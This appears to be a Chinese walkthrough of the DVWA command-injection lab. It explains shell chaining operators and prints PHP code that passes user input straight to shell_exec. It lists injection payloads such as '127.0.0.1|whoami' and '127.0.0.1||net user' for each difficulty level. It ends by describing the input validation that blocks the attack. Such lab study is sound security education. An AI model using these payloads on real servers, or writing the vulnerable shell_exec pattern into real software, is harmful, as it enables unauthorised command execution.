首先,先来了解一下重要的几个符号。。。
&& :command1&&command2 按顺序执行,错误截止
&:command1&command2 可单独执行
||:command1||command2 只执行1,1错执行2
|:command1|command2 管道符,第一个的输出作为第二个的输入
Low
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
127.0.0.1&&ipconfig>
Medium
127.0.0.1&ipconfig
127.0.0.1|whoami
127.0.0.1||net user
127.0.0||net user 故意输错一个ip,可以执行后面的命令
127.0.0.1&;&net user
‘&’不过滤,‘;’过滤,‘&’不过滤
High
127.0.0.1|net user
Impossible
可以看到,Impossible级别真的是不可能,他相对于High主要完善了这两点:
1、以 . 分割,判断每一部分是否为数字
2、判断整体是否为4部分。sizeof() 函数计算数组中的单元数目或对象中的属性个数。